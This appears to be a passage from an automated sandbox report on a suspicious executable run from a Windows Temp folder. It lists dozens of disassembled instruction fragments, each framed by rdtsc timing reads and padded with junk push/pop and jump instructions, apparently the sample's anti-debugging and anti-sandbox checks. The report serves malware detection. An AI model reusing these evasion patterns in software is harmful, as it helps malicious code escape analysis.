Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1016185 second address: 101618B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 10229B0 second address: 10229B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 10229B9 second address: 10229C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1022C80 second address: 1022C94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF018B8718Fh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1022C94 second address: 1022C99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1022C99 second address: 1022CC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 popad 0x0000000a jne 00007FF018B87186h 0x00000010 pop eax 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FF018B87199h 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1022CC7 second address: 1022CCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1022F8F second address: 1022F96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1023136 second address: 1023156 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007FF018BAC39Eh 0x0000000b pushad 0x0000000c ja 00007FF018BAC396h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 10232D3 second address: 10232DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FF018B87186h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 10232DF second address: 10232F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jno 00007FF018BAC396h 0x0000000c jmp 00007FF018BAC39Ah 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 10232F7 second address: 1023319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007FF018B8719Ah 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 10263CF second address: 10263D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 10263D8 second address: 10263DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 10264CC second address: 102652E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov dword ptr [ebp+122D2441h], ebx 0x00000011 push 00000000h 0x00000013 mov esi, dword ptr [ebp+122D2E70h] 0x00000019 call 00007FF018BAC399h 0x0000001e pushad 0x0000001f jmp 00007FF018BAC39Eh 0x00000024 jmp 00007FF018BAC39Eh 0x00000029 popad 0x0000002a push eax 0x0000002b jmp 00007FF018BAC3A5h 0x00000030 mov eax, dword ptr [esp+04h] 0x00000034 pushad 0x00000035 push ecx 0x00000036 pushad 0x00000037 popad 0x00000038 pop ecx 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 102652E second address: 1026542 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007FF018B87188h 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1026542 second address: 1026566 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC3A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push edi 0x0000000e jng 00007FF018BAC39Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1026566 second address: 10265D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop eax 0x00000006 mov ecx, dword ptr [ebp+122D2D40h] 0x0000000c mov esi, eax 0x0000000e push 00000003h 0x00000010 jmp 00007FF018B87190h 0x00000015 push 00000000h 0x00000017 call 00007FF018B87196h 0x0000001c sub ch, 00000002h 0x0000001f pop esi 0x00000020 push 00000003h 0x00000022 jnc 00007FF018B8718Ch 0x00000028 and esi, dword ptr [ebp+122D2EB8h] 0x0000002e call 00007FF018B87189h 0x00000033 pushad 0x00000034 jmp 00007FF018B87196h 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 10265D4 second address: 10265F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC3A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007FF018BAC398h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 10265F4 second address: 1026623 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jno 00007FF018B8718Eh 0x00000012 mov eax, dword ptr [eax] 0x00000014 jmp 00007FF018B8718Bh 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d pushad 0x0000001e push ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1026623 second address: 1026661 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jbe 00007FF018BAC3A9h 0x0000000b popad 0x0000000c pop eax 0x0000000d mov cx, 6D06h 0x00000011 lea ebx, dword ptr [ebp+1245C2E3h] 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FF018BAC3A1h 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1026661 second address: 1026667 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1026667 second address: 102666B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 10266CF second address: 1026737 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007FF018B87193h 0x0000000f jl 00007FF018B8718Ch 0x00000015 popad 0x00000016 nop 0x00000017 push edx 0x00000018 mov dword ptr [ebp+122D2568h], ecx 0x0000001e pop esi 0x0000001f push 00000000h 0x00000021 push 00000000h 0x00000023 push edi 0x00000024 call 00007FF018B87188h 0x00000029 pop edi 0x0000002a mov dword ptr [esp+04h], edi 0x0000002e add dword ptr [esp+04h], 0000001Dh 0x00000036 inc edi 0x00000037 push edi 0x00000038 ret 0x00000039 pop edi 0x0000003a ret 0x0000003b mov si, A035h 0x0000003f push 6EEC4E5Ah 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 10267F2 second address: 10267FC instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF018BAC396h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 10267FC second address: 1026816 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF018B87195h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1026816 second address: 1026887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007FF018BAC3A9h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 pushad 0x00000013 pushad 0x00000014 jmp 00007FF018BAC39Bh 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c push ebx 0x0000001d push edx 0x0000001e pop edx 0x0000001f pop ebx 0x00000020 popad 0x00000021 pop eax 0x00000022 call 00007FF018BAC39Eh 0x00000027 or si, 339Eh 0x0000002c pop esi 0x0000002d mov edx, dword ptr [ebp+122D2E24h] 0x00000033 lea ebx, dword ptr [ebp+1245C2ECh] 0x00000039 mov dword ptr [ebp+122D1CF3h], edx 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 push ecx 0x00000043 jmp 00007FF018BAC39Ah 0x00000048 pop ecx 0x00000049 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1026887 second address: 102688D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 102694D second address: 1026953 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 10453F9 second address: 10453FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 10456F2 second address: 10456F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 10456F6 second address: 1045708 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF018B8718Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1045B6A second address: 1045B6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1045B6F second address: 1045B87 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FF018B8718Ch 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1045B87 second address: 1045B8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1045CD1 second address: 1045CD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1045CD5 second address: 1045CD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1045CD9 second address: 1045CF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF018B87194h 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1045CF3 second address: 1045D11 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC3A9h 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1045E97 second address: 1045E9D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1017BB5 second address: 1017BB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1017BB9 second address: 1017BC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1046BEB second address: 1046BF4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1046BF4 second address: 1046BFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1046D59 second address: 1046D5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1046D5D second address: 1046D69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 10471D0 second address: 10471D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 104E813 second address: 104E817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 104EDF5 second address: 104EE0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC3A5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 104EE0E second address: 104EE14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 104EE14 second address: 104EE18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 104EE18 second address: 104EE5F instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF018B87186h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jg 00007FF018B871A0h 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FF018B87194h 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 104EE5F second address: 104EE8D instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF018BAC398h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e pushad 0x0000000f jmp 00007FF018BAC39Eh 0x00000014 jg 00007FF018BAC398h 0x0000001a popad 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f pushad 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 104EE8D second address: 104EE93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 104EF69 second address: 104EF74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FF018BAC396h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 104EF74 second address: 104EFB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jg 00007FF018B8718Eh 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push ecx 0x00000013 jnp 00007FF018B8718Ch 0x00000019 pop ecx 0x0000001a mov eax, dword ptr [eax] 0x0000001c jmp 00007FF018B8718Fh 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 104EFB6 second address: 104EFBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 10525C5 second address: 10525F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007FF018B87195h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007FF018B87190h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 10525F3 second address: 1052634 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF018BAC3A4h 0x00000009 jc 00007FF018BAC396h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 jo 00007FF018BAC3BBh 0x00000018 pushad 0x00000019 jmp 00007FF018BAC3A7h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1052634 second address: 105263A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 10527A2 second address: 10527AC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 10527AC second address: 10527B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 10527B2 second address: 10527DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 ja 00007FF018BAC396h 0x0000000e ja 00007FF018BAC396h 0x00000014 jg 00007FF018BAC396h 0x0000001a popad 0x0000001b jp 00007FF018BAC39Ch 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 10527DC second address: 10527EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FF018B87186h 0x0000000a push esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1052EBF second address: 1052ECF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FF018BAC396h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1052ECF second address: 1052ED5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1052ED5 second address: 1052EE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007FF018BAC396h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1052EE2 second address: 1052F18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FF018B8718Ch 0x0000000d popad 0x0000000e push edi 0x0000000f pushad 0x00000010 jmp 00007FF018B87194h 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jno 00007FF018B87186h 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1053054 second address: 105305A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 105305A second address: 105306A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jne 00007FF018B87186h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 105306A second address: 1053071 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1053071 second address: 1053085 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B8718Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1053085 second address: 1053089 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1053089 second address: 105308D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 105308D second address: 10530B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c js 00007FF018BAC396h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FF018BAC3A5h 0x0000001a push eax 0x0000001b pop eax 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1054062 second address: 1054074 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FF018B87186h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe RDTSC instruction interceptor: First address: 1054240 second address: 1054246 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
